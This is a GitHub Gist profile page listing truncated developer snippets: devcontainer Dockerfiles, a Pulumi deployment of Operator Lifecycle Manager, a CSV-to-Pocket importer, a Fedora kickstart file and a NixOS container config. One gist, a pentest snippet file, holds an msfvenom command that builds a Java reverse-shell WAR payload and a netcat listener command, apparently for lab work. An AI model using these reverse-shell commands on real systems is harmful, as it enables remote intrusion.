Skip to content

Instantly share code, notes, and snippets.

Avatar
🤓
deploying awesomeness

Jaka Hudoklin offlinehacker

🤓
deploying awesomeness
View GitHub Profile
@offlinehacker
offlinehacker / Dockerfile
Created Mar 8, 2021
k3s dind rootless devcontainer
View Dockerfile
FROM xtruder/debian-nix-devcontainer:flakes
# docker user
ARG DOCKER_GID=966
RUN groupadd -g ${DOCKER_GID} docker && usermod -a -G docker ${USERNAME}
# create volume for pulumi
RUN sudo -u user mkdir -p /home/${USERNAME}/.pulumi
VOLUME /home/${USERNAME}/.pulumi
@offlinehacker
offlinehacker / Dockerfile
Last active Mar 8, 2021
dind k3s devcontainers root
View Dockerfile
FROM xtruder/debian-nix-devcontainer:flakes
# docker user
ARG DOCKER_GID=966
RUN groupadd -g ${DOCKER_GID} docker && usermod -a -G docker ${USERNAME}
# create volume for pulumi
RUN sudo -u user mkdir -p /home/${USERNAME}/.pulumi
VOLUME /home/${USERNAME}/.pulumi
@offlinehacker
offlinehacker / olm.ts
Last active Feb 14, 2021
Operator lifecycle manager deployed with pulumi
View olm.ts
import * as path from 'path';
import * as pulumi from '@pulumi/pulumi';
import * as k8s from '@pulumi/kubernetes';
import { filesDir } from './util';
interface OperatorLifecycleManagerArgs {
namespace?: pulumi.Input<string>;
imageRef?: pulumi.Input<string>;
@offlinehacker
offlinehacker / csv2pocket.py
Created Oct 16, 2020
csv2pocket - tool to import csv to pocket
View csv2pocket.py
import csv
import argparse
import sys
import requests
parser = argparse.ArgumentParser()
parser.add_argument("--csv", help="CSV to import", required=True)
parser.add_argument("--encoding", help="File encoding", default="utf-8")
parser.add_argument("--token", help="API token to use", required=True)
parser.add_argument("--consumerkey", help="Consumer key token to use", required=True)
@offlinehacker
offlinehacker / silverblue32-kickstart.cfg
Created Sep 14, 2020
Fedora silverblue 32 virt-install
View silverblue32-kickstart.cfg
#version=DEVEL
# OSTree setup
ostreesetup --osname="fedora" --remote="fedora" --url="https://d2uk5hbyrobdzx.cloudfront.net/" --ref="fedora/32/x86_64/silverblue" --nogpg
# Reboot after installation
reboot
# Use text mode install
text
# Use network installation
url --url="https://ftp.fau.de/fedora/linux/releases/32/Everything/x86_64/os/"
View container.nix
{ pkgs, lib, ...}: {
imports = [
./nixos/modules/profiles/minimal.nix
];
boot.isContainer = true;
boot.specialFileSystems = lib.mkForce {};
networking.hostName = "";
services.journald.console = "/dev/console";
View pet-pentest-snippet.toml
[[snippets]]
description = "create java reverse shell"
command = "msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.21 LPORT=4444 -f war > shell.war"
tag = ["reverse", "shell", "java", "metasploit", "msfvenom"]
output = ""
[[snippets]]
description = "listen for reverse shell"
command = "nc -tnlvp 4444"
tag = ["reverse", "shell", "netcat"]
@offlinehacker
offlinehacker / startxephyr.sh
Created Mar 18, 2020
Script to start xephyr xorg server and desktop session under another user
View startxephyr.sh
#!/usr/bin/env bash
set -xe
target_user="$1"
target_home=$(getent passwd $target_user | cut -f6 -d:)
# Find free display number
for ((display_number=1 ; display_number <= 100 ; display_number++)) ; do
[ -e /tmp/.X11-unix/X$display_number ] || break
View .wslconfig
[wsl2]
kernel=C:\\Users\\JAKA\\vmlinux